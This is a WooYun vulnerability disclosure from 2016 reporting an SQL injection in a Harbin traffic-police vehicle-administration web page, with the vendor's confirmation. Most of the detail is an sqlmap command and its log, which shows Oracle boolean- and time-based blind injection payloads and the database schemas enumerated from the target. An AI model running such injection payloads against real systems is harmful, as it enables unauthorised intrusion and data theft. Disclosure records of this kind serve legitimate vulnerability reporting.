当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0166620

漏洞标题:哈尔滨市某政府部门存在SQL注入

相关厂商:公安部一所

漏洞作者: illl

提交时间:2016-01-02 16:19

修复时间:2016-02-12 18:49

公开时间:2016-02-12 18:49

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(公安部一所)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-02: 细节已通知厂商并且等待厂商处理中
2016-01-04: 厂商已经确认,细节仅向厂商公开
2016-01-14: 细节向核心白帽子及相关领域专家公开
2016-01-24: 细节向普通白帽子公开
2016-02-03: 细节向实习白帽子公开
2016-02-12: 细节向公众公开

简要描述:

没wb真心难混

详细说明:

哈尔滨市公安交通管理局网上车管所 问题url: http://**.**.**.**/detail2.jsp?infoid=4028b18e50da3b470150da73d16c0002
放入sqlmap去跑

sqlmap.py -u http://**.**.**.**/detail2.jsp?infoid=4028b18e50da3b470150da73d16c0002  --dbs


捕获.PNG


E:\ProgramData\Microsoft\Windows\Start Menu\Programs\Python 2.7\sqlmap-master>sqlmap.py -u http://**.**.**.**/detail2.jsp?infoid=4028b18e50da3b470150da73d16c0002  --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-201512300a8c}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 11:43:16
[11:43:16] [INFO] resuming back-end DBMS 'oracle'
[11:43:16] [INFO] testing connection to the target URL
[11:43:17] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: infoid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: infoid=4028b18e50da3b470150da73d16c0002' AND 8233=8233 AND 'eBWL'='eBWL
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: infoid=4028b18e50da3b470150da73d16c0002' AND 6262=DBMS_PIPE.RECEIVE_MESSAGE(CHR(113)||CHR(116)||CHR(82)||CHR(106),5) AND 'JgZW'='JgZW
---
[11:43:17] [INFO] the back-end DBMS is Oracle
web application technology: Nginx, JSP
back-end DBMS: Oracle
[11:43:17] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes
[11:43:17] [INFO] fetching database (schema) names
[11:43:17] [INFO] fetching number of databases
[11:43:17] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[11:43:17] [INFO] retrieved: 17
[11:43:24] [INFO] retrieved: CGS
[11:43:45] [INFO] retrieved: CTXSYS
[11:44:19] [INFO] retrieved: DB!
[11:44:31] [INFO] retrieved:
[11:44:33] [INFO] retrieved:
[11:44:33] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
[11:44:35] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[11:44:35] [INFO] retrieved:
[11:44:37] [INFO] retrieved:
[11:44:38] [INFO] retrieved:
[11:44:41] [INFO] retrieved:
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
[11:44:53] [INFO] retrieved:
[11:44:54] [INFO] retrieved:
[11:44:56] [INFO] retrieved:
[11:44:58] [INFO] retrieved:
[11:44:59] [INFO] retrieved:
[11:45:01] [INFO] retrieved:
[11:45:03] [INFO] retrieved:
[11:45:04] [INFO] retrieved:
[11:45:06] [INFO] retrieved:
[11:45:08] [INFO] retrieved:
[11:45:09] [INFO] retrieved:
[11:45:11] [INFO] retrieved: !
[11:45:26] [INFO] adjusting time delay to 4 seconds due to good response times
! R
[11:46:07] [INFO] retrieved:
[11:46:18] [INFO] retrieved:
[11:46:23] [INFO] retrieved:
[11:46:25] [INFO] retrieved:
[11:46:30] [INFO] retrieved:
[11:46:32] [INFO] retrieved:
[11:46:34] [INFO] retrieved:
[11:46:36] [INFO] retrieved:
[11:46:37] [INFO] retrieved:
[11:46:39] [INFO] retrieved:
available databases [5]:
[*] "!\X11!\X05R\X0B\X02"
[*] "\X02"
[*] "DB!"
[*] CGS
[*] CTXSYS
[11:46:44] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 338 times
[11:46:44] [INFO] fetched data logged to text files under 'E:\Users\illl\.sqlmap\output\**.**.**.**'

漏洞证明:

修复方案:

版权声明:转载请注明来源 illl@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2016-01-04 10:23

厂商回复:

感谢提交!!
已验证确认所描述的问题。

最新状态:

暂无